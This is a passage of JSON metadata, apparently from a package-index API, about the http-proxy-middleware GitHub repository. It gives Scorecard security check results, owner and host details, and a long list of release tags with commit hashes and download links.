on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"chimurai","name":"Steven Chim","uuid":"655241","kind":"user","description":"","email":"","website":null,"location":"Planet Earth, Milky Way","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/655241?v=4","repositories_count":20,"last_synced_at":"2024-04-23T19:43:31.983Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/chimurai","funding_links":[],"total_stars":10470,"followers":158,"following":30,"created_at":"2022-11-02T16:21:00.461Z","updated_at":"2024-04-23T19:43:38.219Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai/repositories"},"tags":[{"name":"v4.1.0","sha":"013dd9bbdf3436fe9c17a2c24a0d04a0fcb6de19","kind":"commit","published_at":"2026-06-06T14:53:43.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.1.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0/manifests"},{"name":"v3.0.6","sha":"ea0bb98867bda354b759e92ce1933ab43cbbbcf8","kind":"commit","published_at":"2026-06-06T14:53:05.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.6","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.6/manifests"},{"name":"v4.1.0-beta.2","sha":"f26184a534c92131947501c46005a8c2a2e42b75","kind":"commit","published_at":"2026-05-25T17:12:31.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.1.0-beta.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.1.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.1.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0-beta.2/manifests"},{"name":"v4.1.0-beta.1","sha":"899c507ba4f612c5326ac6ac5744ce21615e6fd5","kind":"commit","published_at":"2026-05-23T14:28:39.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.1.0-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.1.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.1.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0-beta.1/manifests"},{"name":"v4.1.0-beta.0","sha":"1c44dfa5e147bfc54e51200f0246a4ea4a283578","kind":"commit","published_at":"2026-05-23T14:07:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.1.0-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.1.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.1.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0-beta.0/manifests"},{"name":"v4.0.0","sha":"8f356bcb5fce079460564f729da55814363361a6","kind":"commit","published_at":"2026-05-05T18:31:35.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0/manifests"},{"name":"v4.0.0-beta.6","sha":"f8ecd6d2c6abe683f4f1cc5377fb93dfe9b1e145","kind":"commit","published_at":"2026-05-02T19:07:50.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.6","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.6/manifests"},{"name":"v4.0.0-beta.5","sha":"339f09ede860197807d4fd99ed9020fa5d0bd358","kind":"commit","published_at":"2026-04-26T12:30:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.5/manifests"},{"name":"v4.0.0-beta.4","sha":"351c5d47d3f1b82767de5900afd6401591fb7937","kind":"commit","published_at":"2026-04-23T21:29:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.4/manifests"},{"name":"v4.0.0-beta.3","sha":"2344bed127da5a8c2c58e3d8733d80f42dd8d6b8","kind":"commit","published_at":"2026-04-05T18:21:20.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.3/manifests"},{"name":"v4.0.0-beta.2","sha":"86f671b17f3d21e88a647fdac6ae229ec0712c90","kind":"commit","published_at":"2026-04-04T21:17:32.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.2/manifests"},{"name":"v4.0.0-beta.1","sha":"90409da48694a2aa6032637d32f1fcd7df828780","kind":"commit","published_at":"2026-04-04T20:33:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.1/manifests"},{"name":"v4.0.0-beta.0","sha":"2e94f714380861525d5756a0d2881d0973a5a8ee","kind":"commit","published_at":"2026-04-03T21:41:20.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.0/manifests"},{"name":"v2.0.9","sha":"617a7c9da9cc90ecc00b0c8b1c2f6a385c879cb1","kind":"commit","published_at":"2025-04-10T12:10:53.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.9","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.9/manifests"},{"name":"v3.0.5","sha":"d3851ed0075298ea2477d4221809f5875781b66f","kind":"commit","published_at":"2025-04-10T12:10:24.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"01934d33b157b2d49f7099a18ceec165e7502040","kind":"commit","published_at":"2025-04-09T19:30:50.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.4/manifests"},{"name":"v2.0.8","sha":"d03d51b54ac8d40db8438a8b216cf1ea92bb7849","kind":"commit","published_at":"2025-04-09T19:30:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.8","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.8/manifests"},{"name":"v2.0.7","sha":"1e9233909839962bb3c1980848ad499b4757a71d","kind":"commit","published_at":"2024-10-06T17:22:45.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.7","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7/manifests"},{"name":"v3.0.3","sha":"43f38836b5ff00a6e46ae357dfd071361fa93ca1","kind":"commit","published_at":"2024-10-06T17:16:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.3/manifests"},{"name":"v2.0.7-beta.1","sha":"0b4274e8cc9e9a2c5a06f35fbf456ccfcebc55a5","kind":"commit","published_at":"2024-10-06T16:58:31.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.7-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.7-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.7-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.1/manifests"},{"name":"v2.0.7-beta.0","sha":"1bd6dd578b1326ed7979c301e3f8eb0f228f5b6f","kind":"commit","published_at":"2024-10-06T12:14:38.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.7-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.7-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.7-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.0/manifests"},{"name":"v3.0.2","sha":"6fae40dd77214f1ed961b7b0b56450a22d5c290f","kind":"commit","published_at":"2024-09-03T20:19:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"06ee9054093e8ce7b85a24fc72937f97720c205d","kind":"commit","published_at":"2024-08-31T19:40:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1/manifests"},{"name":"v3.0.1-beta.1","sha":"897611af512ffaf6add1601585952356fde8aec5","kind":"commit","published_at":"2024-07-19T16:51:05.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.1-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.1-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.1-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.1/manifests"},{"name":"v3.0.1-beta.0","sha":"f424cefc67c6f3430e81f285d7578e96486e39fa","kind":"commit","published_at":"2024-04-20T18:05:20.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.1-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.1-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.1-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.0/manifests"},{"name":"v3.0.0","sha":"84bfa46fc7174f46b9f24c1e7a7a1a977f0993f3","kind":"commit","published_at":"2024-04-01T21:32:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0/manifests"},{"name":"v3.0.0-beta.1","sha":"47b7e018f614bcdc06f72c4fdbac3a91ba3b5bb7","kind":"commit","published_at":"2023-03-03T22:26:55.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.0-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.1/manifests"},{"name":"v3.0.0-beta.0","sha":"4c136abf0a1e433e1293739cb1c22e533b81275a","kind":"commit","published_at":"2022-04-22T17:32:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.0-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.0/manifests"},{"name":"v2.0.6","sha":"c08cb1e13b8d8c63b517953156444c9b1ce140eb","kind":"commit","published_at":"2022-04-20T19:54:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.6","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.6/manifests"},{"name":"v2.0.5","sha":"f64c99489526c355a96f6e32709da9299175d4e9","kind":"commit","published_at":"2022-04-19T20:25:16.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.5/manifests"},{"name":"v2.0.4","sha":"4baae769e46914299240d4c3ddd59019ba1520bd","kind":"commit","published_at":"2022-03-13T16:06:43.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.4/manifests"},{"name":"v2.0.3","sha":"cb466286e83782e868df966cd687a656df7a91f2","kind":"commit","published_at":"2022-02-07T18:42:54.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.3/manifests"},{"name":"v2.0.2","sha":"d7623983e18f0daa724a3fcc0b5d4d1812e4c3c1","kind":"commit","published_at":"2022-01-23T17:37:45.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"c9bec81e82664809c816250f15d30543c4447571","kind":"commit","published_at":"2021-07-01T20:36:59.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"6429b647fcbc4ac8f60c37a654e0d1c306fd2551","kind":"commit","published_at":"2021-05-07T17:41:01.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.0/manifests"},{"name":"v1.3.1","sha":"b78d5d4cbbc681e4c4d1b5257477f40974dc3b84","kind":"commit","published_at":"2021-04-28T18:41:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.3.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"34468a161065cd147120390af799a556dc3494e2","kind":"commit","published_at":"2021-04-25T21:33:44.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.3.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.0","manifests_url":"https://repos.